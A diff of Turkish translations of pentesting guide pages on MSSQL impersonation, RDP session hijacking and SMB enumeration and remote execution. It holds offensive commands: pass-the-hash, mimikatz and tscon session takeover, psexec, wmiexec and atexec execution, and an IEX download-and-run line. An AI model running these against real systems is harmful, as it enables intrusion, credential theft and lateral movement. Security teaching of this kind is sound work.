# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
|
||||
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
|
||||
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
|
||||
```
|
||||
### Diğer kullanıcıların taklit edilmesi
|
||||
|
||||
SQL Server, **`IMPERSONATE`** adında özel bir izin sunar; bu izin, **işlem yapan kullanıcının başka bir kullanıcının** veya oturum açma bilgisinin izinlerini almasına **olanak tanır** ve bu durum, bağlam sıfırlanana kadar veya oturum sona erene kadar devam eder.
|
||||
SQL Server, **`IMPERSONATE`** adında özel bir izin sunar; bu izin, **işlem yapan kullanıcının başka bir kullanıcının** veya oturum açma bilgisinin izinlerini almasına **imkan tanır**. Bu durum, bağlam sıfırlanana kadar veya oturum sona erene kadar devam eder.
|
||||
```sql
|
||||
# Find users you can impersonate
|
||||
SELECT distinct b.name
|
||||
@ -505,9 +509,9 @@ enum_links
|
||||
use_link [NAME]
|
||||
```
|
||||
> [!NOTE]
|
||||
> Eğer bir kullanıcıyı taklit edebiliyorsanız, hatta sysadmin olmasa bile, **kullanıcının diğer** **veritabanlarına** veya bağlı sunuculara erişimi olup olmadığını kontrol etmelisiniz.
|
||||
> Bir kullanıcıyı taklit edebiliyorsanız, hatta sysadmin olmasa bile, **kullanıcının diğer** **veritabanlarına** veya bağlı sunuculara erişimi olup olmadığını kontrol etmelisiniz.
|
||||
|
||||
Unutmayın ki bir kez sysadmin olduğunuzda, diğer herhangi birini taklit edebilirsiniz:
|
||||
Sysadmin olduğunuzda, başka birini taklit edebileceğinizi unutmayın:
|
||||
```sql
|
||||
-- Impersonate RegUser
|
||||
EXECUTE AS LOGIN = 'RegUser'
|
||||
@ -521,8 +525,8 @@ Bu saldırıyı bir **metasploit** modülü ile gerçekleştirebilirsiniz:
|
||||
```bash
|
||||
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
||||
```
|
||||
ve bir **PS** script ile:
|
||||
```powershell
|
||||
ve bir **PS** betiği ile:
|
||||
```bash
|
||||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
|
||||
@ -540,7 +544,7 @@ Bu istismar için bazı gereksinimler ve yapılandırmalar yapılmalıdır. Önc
|
||||
İzinlerinizi doğruladıktan sonra, aşağıdaki üç şeyi yapılandırmanız gerekir:
|
||||
|
||||
1. SQL Server örneklerinde TCP/IP'yi etkinleştirin;
|
||||
2. Bir Başlangıç parametresi ekleyin, bu durumda bir izleme bayrağı eklenecektir, bu -T7806'dır.
|
||||
2. Bir Başlangıç parametresi ekleyin, bu durumda -T7806 olan bir izleme bayrağı eklenecektir.
|
||||
3. Uzaktan yönetici bağlantısını etkinleştirin.
|
||||
|
||||
Bu yapılandırmaları otomatikleştirmek için, [bu depo](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) gerekli scriptleri içermektedir. Her yapılandırma adımı için bir powershell scriptinin yanı sıra, depo ayrıca yapılandırma scriptlerini ve şifrelerin çıkarılması ve şifrelerinin çözülmesini birleştiren tam bir script de içermektedir.
|
||||
|
||||
@ -5,7 +5,7 @@
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
Microsoft tarafından geliştirilen **Remote Desktop Protocol** (**RDP**), bilgisayarlar arasında bir ağ üzerinden grafiksel bir arayüz bağlantısı sağlamayı amaçlamaktadır. Böyle bir bağlantı kurmak için, kullanıcı tarafından **RDP** istemci yazılımı kullanılır ve aynı anda, uzak bilgisayarın **RDP** sunucu yazılımını çalıştırması gerekmektedir. Bu yapı, uzak bir bilgisayarın masaüstü ortamının kesintisiz kontrolünü ve erişimini sağlar, temelde arayüzünü kullanıcının yerel cihazına getirir.
|
||||
Microsoft tarafından geliştirilen **Remote Desktop Protocol** (**RDP**), bilgisayarlar arasında bir ağ üzerinden grafiksel bir arayüz bağlantısı sağlamak için tasarlanmıştır. Böyle bir bağlantı kurmak için, kullanıcı tarafından **RDP** istemci yazılımı kullanılır ve aynı anda, uzak bilgisayarın **RDP** sunucu yazılımını çalıştırması gerekmektedir. Bu yapı, uzak bir bilgisayarın masaüstü ortamının kesintisiz kontrolünü ve erişimini sağlar, temelde arayüzünü kullanıcının yerel cihazına getirir.
|
||||
|
||||
**Varsayılan port:** 3389
|
||||
```
|
||||
@ -40,7 +40,7 @@ rdesktop -d <domain> -u <username> -p <password> <IP>
|
||||
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
|
||||
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
|
||||
```
|
||||
### RDP hizmetlerine karşı bilinen kimlik bilgilerini kontrol etme
|
||||
### RDP hizmetlerine karşı bilinen kimlik bilgilerini kontrol et
|
||||
|
||||
impacket'ten rdp_check.py, bazı kimlik bilgilerinin bir RDP hizmeti için geçerli olup olmadığını kontrol etmenizi sağlar:
|
||||
```bash
|
||||
@ -62,9 +62,9 @@ tscon <ID> /dest:<SESSIONNAME>
|
||||
```
|
||||
Şimdi seçilen RDP oturumunun içinde olacaksınız ve yalnızca Windows araçları ve özelliklerini kullanarak bir kullanıcıyı taklit edeceksiniz.
|
||||
|
||||
**Önemli**: Aktif RDP oturumlarına eriştiğinizde, onu kullanan kullanıcıyı çıkartacaksınız.
|
||||
**Önemli**: Aktif bir RDP oturumuna eriştiğinizde, onu kullanan kullanıcıyı çıkartacaksınız.
|
||||
|
||||
Şifreleri süreçten dökerek alabilirsiniz, ancak bu yöntem çok daha hızlıdır ve kullanıcıların sanal masaüstleriyle etkileşimde bulunmanızı sağlar (şifreler not defterinde, diske kaydedilmeden, diğer makinelerde açık olan diğer RDP oturumları...)
|
||||
Şifreleri süreçten dökerek alabilirsiniz, ancak bu yöntem çok daha hızlıdır ve kullanıcıların sanal masaüstleriyle etkileşimde bulunmanıza olanak tanır (şifreler not defterinde, diske kaydedilmeden, diğer makinelerde açık olan diğer RDP oturumları...)
|
||||
|
||||
#### **Mimikatz**
|
||||
|
||||
@ -77,7 +77,7 @@ ts::remote /id:2 #Connect to the session
|
||||
|
||||
Bu tekniği **stickykeys** veya **utilman** ile birleştirerek, her zaman bir yönetici CMD ve herhangi bir RDP oturumuna erişim sağlayabilirsiniz.
|
||||
|
||||
Bu tekniklerden biriyle arka kapı bırakılmış RDP'leri [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) ile arayabilirsiniz.
|
||||
Bu tekniklerden biriyle arka kapı bırakılmış RDP'leri şunlarla arayabilirsiniz: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||||
|
||||
### RDP Süreç Enjeksiyonu
|
||||
|
||||
@ -95,15 +95,19 @@ net localgroup "Remote Desktop Users" UserLoginName /add
|
||||
|
||||
- [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
||||
|
||||
**AutoRDPwn**, Microsoft Windows bilgisayarlarında **Shadow** saldırısını otomatikleştirmek için tasarlanmış, Powershell'de oluşturulmuş bir post-exploitation framework'tür. Bu zafiyet (Microsoft tarafından bir özellik olarak listelenmiştir), uzaktan bir saldırganın **kurbanının masaüstünü izleyebilmesine ve hatta talep üzerine kontrol edebilmesine** olanak tanır; bu, işletim sisteminin kendisine ait araçlar kullanılarak gerçekleştirilir.
|
||||
**AutoRDPwn**, Microsoft Windows bilgisayarlarında **Shadow** saldırısını otomatikleştirmek için tasarlanmış, Powershell'de oluşturulmuş bir post-exploitation framework'tür. Bu zafiyet (Microsoft tarafından bir özellik olarak listelenmiştir), uzaktan bir saldırganın **kurbanının masaüstünü izleyebilmesine ve hatta talep üzerine kontrol edebilmesine** olanak tanır; bu, işletim sisteminin kendisine ait araçlar kullanılarak yapılır.
|
||||
|
||||
- [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
||||
- Komut satırından otomatik bir şekilde fare ve klavye kontrolü
|
||||
- Komut satırından otomatik bir şekilde panoya erişim
|
||||
- RDP üzerinden hedefe ağ iletişimini yönlendiren bir SOCKS proxy'si oluşturma
|
||||
- Hedefte dosya yüklemeden rastgele SHELL ve PowerShell komutları çalıştırma
|
||||
- Hedefte dosya yüklemeden rastgele SHELL ve PowerShell komutları yürütme
|
||||
- Hedefte dosya transferleri devre dışı olsa bile hedefe dosya yükleme ve indirme
|
||||
|
||||
- [**SharpRDP**](https://github.com/0xthirteen/SharpRDP)
|
||||
|
||||
Bu araç, kurban RDP'sinde **grafik arayüzüne ihtiyaç duymadan** komutlar yürütmeyi sağlar.
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: RDP #Protocol Abbreviation if there is one.
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## **Port 139**
|
||||
|
||||
_**Ağ Temel Giriş Çıkış Sistemi**_** (NetBIOS)**, uygulamaların, PC'lerin ve masaüstlerinin yerel alan ağı (LAN) içinde ağ donanımı ile etkileşimde bulunmasını sağlamak ve **verilerin ağ üzerinden iletimini kolaylaştırmak** için tasarlanmış bir yazılım protokolüdür. NetBIOS ağında çalışan yazılım uygulamalarının tanımlanması ve konumlandırılması, 16 karaktere kadar uzunlukta olabilen ve genellikle bilgisayar adından farklı olan NetBIOS adları aracılığıyla gerçekleştirilir. İki uygulama arasında bir NetBIOS oturumu, bir uygulama (istemci olarak hareket eden) "çağırmak" için başka bir uygulamaya (sunucu olarak hareket eden) **TCP Port 139** kullanarak bir komut verdiğinde başlatılır.
|
||||
_**Ağ Temel Giriş Çıkış Sistemi**_** (NetBIOS)**, uygulamaların, PC'lerin ve masaüstlerinin yerel alan ağı (LAN) içinde ağ donanımı ile etkileşimde bulunmasını sağlamak ve **verilerin ağ üzerinden iletimini kolaylaştırmak** için tasarlanmış bir yazılım protokolüdür. NetBIOS ağında çalışan yazılım uygulamalarının tanımlanması ve konumlandırılması, genellikle bilgisayar adından farklı olan ve uzunluğu 16 karaktere kadar çıkabilen NetBIOS adları aracılığıyla gerçekleştirilir. İki uygulama arasında bir NetBIOS oturumu, bir uygulama (istemci olarak hareket eden) diğer bir uygulamayı (sunucu olarak hareket eden) "aramak" için bir komut verdiğinde **TCP Port 139** kullanılarak başlatılır.
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
@ -12,22 +12,22 @@ _**Ağ Temel Giriş Çıkış Sistemi**_** (NetBIOS)**, uygulamaların, PC'lerin
|
||||
|
||||
Teknik olarak, Port 139 'NBT over IP' olarak adlandırılırken, Port 445 'SMB over IP' olarak tanımlanır. Kısaltma **SMB**, '**Server Message Blocks**' anlamına gelir ve modern olarak **Common Internet File System (CIFS)** olarak da bilinir. Uygulama katmanı ağ protokolü olarak, SMB/CIFS esasen dosyalara, yazıcılara, seri portlara paylaşımlı erişimi sağlamak ve bir ağ üzerindeki düğümler arasında çeşitli iletişim biçimlerini kolaylaştırmak için kullanılır.
|
||||
|
||||
Örneğin, Windows bağlamında, SMB'nin doğrudan TCP/IP üzerinden çalışabileceği, böylece TCP/IP üzerinden NetBIOS'a olan gereksinimin ortadan kalktığı vurgulanmaktadır; bu, port 445'in kullanımıyla mümkündür. Tersine, farklı sistemlerde port 139'un kullanımı gözlemlenmektedir; bu, SMB'nin TCP/IP üzerinden NetBIOS ile birlikte çalıştığını göstermektedir.
|
||||
Örneğin, Windows bağlamında, SMB'nin doğrudan TCP/IP üzerinden çalışabileceği, böylece TCP/IP üzerinden NetBIOS'a olan gereksinimi ortadan kaldırdığı vurgulanmaktadır; bu, port 445'in kullanımıyla mümkündür. Tersine, farklı sistemlerde port 139'un kullanımı gözlemlenmektedir; bu, SMB'nin TCP/IP üzerinden NetBIOS ile birlikte çalıştığını göstermektedir.
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
### SMB
|
||||
|
||||
**Server Message Block (SMB)** protokolü, **istemci-sunucu** modelinde çalışarak **dosyalara**, dizinlere ve yazıcılar ile yönlendiriciler gibi diğer ağ kaynaklarına **erişimi** düzenlemek için tasarlanmıştır. Öncelikle **Windows** işletim sistemi serisi içinde kullanılan SMB, geriye dönük uyumluluğu sağlar; bu sayede Microsoft'un işletim sisteminin daha yeni sürümlerine sahip cihazlar, daha eski sürümlerle sorunsuz bir şekilde etkileşimde bulunabilir. Ayrıca, **Samba** projesi, SMB'nin **Linux** ve Unix sistemlerinde uygulanmasını sağlayan ücretsiz bir yazılım çözümü sunarak, SMB üzerinden çapraz platform iletişimini kolaylaştırır.
|
||||
**Server Message Block (SMB)** protokolü, **istemci-sunucu** modelinde çalışarak **dosyalara**, dizinlere ve yazıcılar ve yönlendiriciler gibi diğer ağ kaynaklarına **erişimi** düzenlemek için tasarlanmıştır. Öncelikle **Windows** işletim sistemi serisi içinde kullanılan SMB, geriye dönük uyumluluğu sağlayarak, Microsoft'un işletim sisteminin daha yeni sürümlerine sahip cihazların, daha eski sürümleri çalıştıranlarla sorunsuz bir şekilde etkileşimde bulunmasına olanak tanır. Ayrıca, **Samba** projesi, SMB'nin **Linux** ve Unix sistemlerinde uygulanmasını sağlayan ücretsiz bir yazılım çözümü sunarak, SMB üzerinden çapraz platform iletişimini kolaylaştırır.
|
||||
|
||||
Yerel dosya sisteminin **rastgele parçalarını** temsil eden paylaşımlar, bir SMB sunucusu tarafından sağlanabilir ve bu, istemciye sunucunun gerçek yapısından kısmen **bağımsız** bir hiyerarşi sunar. **Erişim Kontrol Listeleri (ACL'ler)**, **erişim haklarını** tanımlayarak, **`çalıştırma`**, **`okuma`** ve **`tam erişim`** gibi nitelikler de dahil olmak üzere kullanıcı izinleri üzerinde **ince ayar** kontrolü sağlar. Bu izinler, paylaşımlara dayalı olarak bireysel kullanıcılara veya gruplara atanabilir ve sunucuda ayarlanan yerel izinlerden farklıdır.
|
||||
**Yerel dosya sisteminin** **rastgele parçalarını** temsil eden paylaşımlar, bir SMB sunucusu tarafından sağlanabilir ve bu, istemciye sunucunun gerçek yapısından kısmen **bağımsız** bir hiyerarşi sunar. **Erişim Kontrol Listeleri (ACL'ler)**, **erişim haklarını** tanımlayarak, **ince ayar kontrolü** sağlar; bu, **`çalıştırma`**, **`okuma`** ve **`tam erişim`** gibi nitelikleri içerir. Bu izinler, paylaşımlara dayalı olarak bireysel kullanıcılara veya gruplara atanabilir ve sunucuda ayarlanan yerel izinlerden farklıdır.
|
||||
|
||||
### IPC$ Share
|
||||
|
||||
IPC$ paylaşımına anonim bir null oturumu aracılığıyla erişim sağlanabilir ve bu, adlandırılmış borular aracılığıyla sunulan hizmetlerle etkileşimde bulunmayı mümkün kılar. Bu amaçla `enum4linux` aracı faydalıdır. Doğru kullanıldığında, aşağıdakilerin edinilmesini sağlar:
|
||||
|
||||
- İşletim sistemi hakkında bilgi
|
||||
- Ana alan hakkında detaylar
|
||||
- Ana alan hakkında ayrıntılar
|
||||
- Yerel kullanıcılar ve grupların derlemesi
|
||||
- Mevcut SMB paylaşımları hakkında bilgi
|
||||
- Etkili sistem güvenlik politikası
|
||||
@ -40,7 +40,7 @@ Yukarıdaki komut, `target_ip` ile belirtilen bir hedefe karşı tam bir enumera
|
||||
|
||||
## NTLM Nedir
|
||||
|
||||
Eğer NTLM'in ne olduğunu bilmiyorsanız veya nasıl çalıştığını ve nasıl istismar edileceğini öğrenmek istiyorsanız, **bu protokolün nasıl çalıştığını ve nasıl faydalanabileceğinizi** açıklayan **NTLM** hakkında bu sayfayı çok ilginç bulacaksınız:
|
||||
Eğer NTLM'in ne olduğunu bilmiyorsanız veya nasıl çalıştığını ve nasıl istismar edileceğini öğrenmek istiyorsanız, **NTLM** hakkında bu sayfayı çok ilginç bulacaksınız; burada **bu protokolün nasıl çalıştığı ve ondan nasıl yararlanabileceğiniz açıklanmaktadır:**
|
||||
|
||||
{{#ref}}
|
||||
../windows-hardening/ntlm/
|
||||
@ -56,8 +56,8 @@ nbtscan -r 192.168.0.1/24
|
||||
|
||||
SMB versiyonuna olası istismarlar aramak için hangi versiyonun kullanıldığını bilmek önemlidir. Bu bilgi diğer kullanılan araçlarda görünmüyorsa, şunları yapabilirsiniz:
|
||||
|
||||
- **MSF** yardımcı modülünü kullanın \_**auxiliary/scanner/smb/smb_version**
|
||||
- Ya da bu scripti:
|
||||
- **MSF** yardımcı modülünü _**auxiliary/scanner/smb/smb_version**_ kullanın
|
||||
- Ya da bu scripti kullanın:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
#Author: rewardone
|
||||
@ -74,7 +74,7 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
|
||||
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
||||
echo "" && sleep .1
|
||||
```
|
||||
### **Arama açığı**
|
||||
### **Arama istismarı**
|
||||
```bash
|
||||
msf> search type:exploit platform:windows target:2008 smb
|
||||
searchsploit microsoft smb
|
||||
@ -87,9 +87,9 @@ searchsploit microsoft smb
|
||||
| misafir | _(boş)_ |
|
||||
| Yönetici, admin | _(boş)_, şifre, yönetici, admin |
|
||||
| arcserve | arcserve, yedek |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, yedek | backupexec, yedek, arcada |
|
||||
| test, lab, demo | şifre, test, lab, demo |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, yedek | backupexec, yedek, arcada |
|
||||
| test, lab, demo | şifre, test, lab, demo |
|
||||
|
||||
### Kaba Kuvvet
|
||||
|
||||
@ -165,7 +165,7 @@ pentesting-smb/rpcclient-enumeration.md
|
||||
|
||||
`smb://friendzone.htb/general/`
|
||||
|
||||
## Paylaşılan Klasörlerin Listelemesi
|
||||
## Paylaşılan Klasörleri Listeleme
|
||||
|
||||
### Paylaşılan klasörleri listele
|
||||
|
||||
@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
|
||||
```
|
||||
### **Manually enumerate windows shares and connect to them**
|
||||
|
||||
Ana makinenin herhangi bir paylaşımlarını görüntülemede kısıtlı olabileceğiniz ve bunları listelemeye çalıştığınızda, bağlanacak herhangi bir paylaşım olmadığı gibi görünebilir. Bu nedenle, bir paylaşım ile manuel olarak bağlantı kurmayı denemek faydalı olabilir. Paylaşımları manuel olarak listelemek için, geçerli bir oturum kullanırken (örneğin, null oturum veya geçerli kimlik bilgileri) NT_STATUS_ACCESS_DENIED ve NT_STATUS_BAD_NETWORK_NAME gibi yanıtları aramak isteyebilirsiniz. Bu, paylaşımın var olup olmadığını ve ona erişiminizin olup olmadığını gösterebilir veya paylaşımın hiç var olmadığını belirtebilir.
|
||||
Ana makinenin herhangi bir paylaşımlarını görüntülemede kısıtlı olabileceğiniz ve bunları listelemeye çalıştığınızda, bağlanacak herhangi bir paylaşım olmadığı gibi görünebilir. Bu nedenle, bir paylaşım ile manuel olarak bağlanmayı denemek faydalı olabilir. Paylaşımları manuel olarak listelemek için, geçerli bir oturum kullanırken (örneğin, null oturum veya geçerli kimlik bilgileri) NT_STATUS_ACCESS_DENIED ve NT_STATUS_BAD_NETWORK_NAME gibi yanıtları aramak isteyebilirsiniz. Bu, paylaşımın var olup olmadığını ve ona erişiminizin olup olmadığını gösterebilir veya paylaşımın hiç var olmadığını belirtebilir.
|
||||
|
||||
Windows hedefleri için yaygın paylaşım adları şunlardır:
|
||||
|
||||
@ -212,7 +212,7 @@ Windows hedefleri için yaygın paylaşım adları şunlardır:
|
||||
|
||||
(Yaygın paylaşım adları _**Network Security Assessment 3rd edition**_’dan)
|
||||
|
||||
Bunlara bağlanmayı denemek için aşağıdaki komutu kullanabilirsiniz.
|
||||
Onlara bağlanmayı denemek için aşağıdaki komutu kullanabilirsiniz.
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
@ -242,7 +242,7 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o
|
||||
### **Windows'tan payları listele / üçüncü taraf araçlar olmadan**
|
||||
|
||||
PowerShell
|
||||
```powershell
|
||||
```bash
|
||||
# Retrieves the SMB shares on the locale computer.
|
||||
Get-SmbShare
|
||||
Get-WmiObject -Class Win32_Share
|
||||
@ -258,7 +258,7 @@ net share
|
||||
# List shares on a remote computer (including hidden ones)
|
||||
net view \\<ip> /all
|
||||
```
|
||||
MMC Ekleme (grafik)
|
||||
MMC Eklentisi (grafik)
|
||||
```shell
|
||||
# Shared Folders: Shared Folders > Shares
|
||||
fsmgmt.msc
|
||||
@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
```
|
||||
### **Dosyaları İndir**
|
||||
|
||||
Kimlik bilgileriyle nasıl bağlantı kurulacağını öğrenmek için önceki bölümleri okuyun/Pass-the-Hash.
|
||||
Kimlik bilgileriyle nasıl bağlanacağınızı öğrenmek için önceki bölümleri okuyun/Pass-the-Hash.
|
||||
```bash
|
||||
#Search a file and download
|
||||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||
@ -300,7 +300,7 @@ Komutlar:
|
||||
|
||||
### Alan Paylaşılan Klasörler Arama
|
||||
|
||||
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
|
||||
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
|
||||
```bash
|
||||
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```
|
||||
@ -310,15 +310,19 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
Özellikle paylaşımlardan ilginç olanlar, **`Registry.xml`** adlı dosyalardır çünkü bunlar **autologon** ile yapılandırılmış kullanıcılar için **şifreler** içerebilir. Veya **`web.config`** dosyaları, çünkü bunlar kimlik bilgileri içerir.
|
||||
Özellikle paylaşımlardan ilginç olanlar, **`Registry.xml`** olarak adlandırılan dosyalardır çünkü bunlar **autologon** ile yapılandırılmış kullanıcılar için **şifreler** içerebilir. Ya da **`web.config`** dosyaları, çünkü bunlar kimlik bilgilerini içerir.
|
||||
|
||||
- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares)
|
||||
- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")`
|
||||
- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test`
|
||||
|
||||
> [!NOTE]
|
||||
> **SYSVOL paylaşımı**, alan içindeki tüm kimlik doğrulaması yapılmış kullanıcılar tarafından **okunabilir**. İçinde birçok farklı batch, VBScript ve PowerShell **script** bulabilirsiniz.\
|
||||
> **SYSVOL paylaşımı**, alan içindeki tüm kimlik doğrulaması yapılmış kullanıcılar tarafından **okunabilir**. İçinde birçok farklı toplu iş, VBScript ve PowerShell **script** bulabilirsiniz.\
|
||||
> İçindeki **script**'leri **kontrol** etmelisiniz çünkü **şifreler** gibi hassas bilgileri **bulabilirsiniz**.
|
||||
|
||||
## Kayıt Defterini Oku
|
||||
|
||||
Bulunan bazı kimlik bilgilerini kullanarak **kayıt defterini okumayı** başarabilirsiniz. Impacket **`reg.py`** denemenize olanak tanır:
|
||||
Bulunan bazı kimlik bilgilerini kullanarak **kayıt defterini** **okuyabilirsiniz**. Impacket **`reg.py`** denemenize olanak tanır:
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
@ -330,18 +334,18 @@ Bir **Samba** sunucusunun **varsayılan yapılandırması** genellikle `/etc/sam
|
||||
|
||||
| **Ayar** | **Açıklama** |
|
||||
| --------------------------- | ------------------------------------------------------------------ |
|
||||
| `browseable = yes` | Mevcut paylaşımları listelemeye izin ver? |
|
||||
| `browseable = yes` | Mevcut paylaşımları listelemeye izin verilsin mi? |
|
||||
| `read only = no` | Dosyaların oluşturulmasını ve değiştirilmesini yasakla? |
|
||||
| `writable = yes` | Kullanıcıların dosya oluşturmasına ve değiştirmesine izin ver? |
|
||||
| `guest ok = yes` | Şifre kullanmadan hizmete bağlanmaya izin ver? |
|
||||
| `writable = yes` | Kullanıcıların dosya oluşturmasına ve değiştirmesine izin ver? |
|
||||
| `guest ok = yes` | Şifre kullanmadan hizmete bağlanmaya izin verilsin mi? |
|
||||
| `enable privileges = yes` | Belirli SID'lere atanan ayrıcalıkları dikkate al? |
|
||||
| `create mask = 0777` | Yeni oluşturulan dosyalara hangi izinlerin atanması gerekir? |
|
||||
| `directory mask = 0777` | Yeni oluşturulan dizinlere hangi izinlerin atanması gerekir? |
|
||||
| `logon script = script.sh` | Kullanıcının girişi sırasında hangi scriptin çalıştırılması gerekir? |
|
||||
| `magic script = script.sh` | Script kapandığında hangi scriptin çalıştırılması gerekir? |
|
||||
| `magic output = script.out` | Magic scriptin çıktısının nereye kaydedilmesi gerekir? |
|
||||
| `magic script = script.sh` | Script kapandığında hangi scriptin çalıştırılması gerekir? |
|
||||
| `magic output = script.out` | Magic scriptin çıktısının nereye kaydedilmesi gerekir? |
|
||||
|
||||
` smbstatus` komutu **sunucu** hakkında ve **kimin bağlı olduğu** hakkında bilgi verir.
|
||||
`Smbstatus` komutu **sunucu** hakkında ve **kimin bağlı olduğu** hakkında bilgi verir.
|
||||
|
||||
## Authenticate using Kerberos
|
||||
|
||||
@ -354,7 +358,7 @@ rpcclient -k ws01win10.domain.com
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec, **wmiexec** varsayılan yöntem olmak üzere, **mmcexec, smbexec, atexec, wmiexec** kullanarak komutları çalıştırabilir. Hangi seçeneği kullanmak istediğinizi `--exec-method` parametresi ile belirtebilirsiniz:
|
||||
crackmapexec, **wmiexec** varsayılan yöntem olmak üzere, **mmcexec, smbexec, atexec, wmiexec**'i **istismar ederek** komutları çalıştırabilir. Hangi seçeneği kullanmak istediğinizi `--exec-method` parametresi ile belirtebilirsiniz:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
@ -378,7 +382,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
```
|
||||
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
|
||||
|
||||
Her iki seçenek de **kurban makinesinde yeni bir hizmet oluşturacaktır** (SMB aracılığıyla _\pipe\svcctl_ kullanarak) ve bunu **bir şey çalıştırmak için** kullanacaktır (**psexec** bir yürütülebilir dosyayı ADMIN$ paylaşımına **yükleyecek** ve **smbexec** **cmd.exe/powershell.exe**'ye işaret edecek ve argümanlara yükü koyacaktır --**dosya-sız teknik-**-).\
|
||||
Her iki seçenek de **kurban makinesinde yeni bir hizmet oluşturacaktır** (SMB üzerinden _\pipe\svcctl_ kullanarak) ve bunu **bir şey çalıştırmak için** kullanacaktır (**psexec** bir yürütülebilir dosyayı ADMIN$ paylaşımına **yükleyecek** ve **smbexec** **cmd.exe/powershell.exe**'ye işaret edecek ve argümanlara yükü koyacaktır --**dosya olmadan teknik-**-).\
|
||||
**Daha fazla bilgi** için [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)ve [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
|
||||
**kali**'de /usr/share/doc/python3-impacket/examples/ dizininde bulunmaktadır.
|
||||
```bash
|
||||
@ -392,7 +396,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
|
||||
|
||||
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
|
||||
|
||||
Diskle temas etmeden veya yeni bir hizmet çalıştırmadan **port 135** üzerinden DCOM kullanarak gizlice bir komut kabuğu çalıştırın.\
|
||||
Diskle temas etmeden veya yeni bir hizmet çalıştırmadan DCOM aracılığıyla **port 135** kullanarak gizlice bir komut kabuğu çalıştırın.\
|
||||
**kali**'de /usr/share/doc/python3-impacket/examples/ konumundadır.
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
@ -409,7 +413,7 @@ Diskle temas etmeden veya yeni bir hizmet çalıştırmadan **port 135** üzerin
|
||||
```
|
||||
### [AtExec](../windows-hardening/ntlm/atexec.md)
|
||||
|
||||
Komutları Görev Zamanlayıcı aracılığıyla çalıştırın (SMB üzerinden _\pipe\atsvc_ kullanarak).\
|
||||
Görev Zamanlayıcı aracılığıyla komutları çalıştırın (SMB üzerinden _\pipe\atsvc_ kullanarak).\
|
||||
**kali**'de /usr/share/doc/python3-impacket/examples/ dizininde bulunmaktadır.
|
||||
```bash
|
||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||
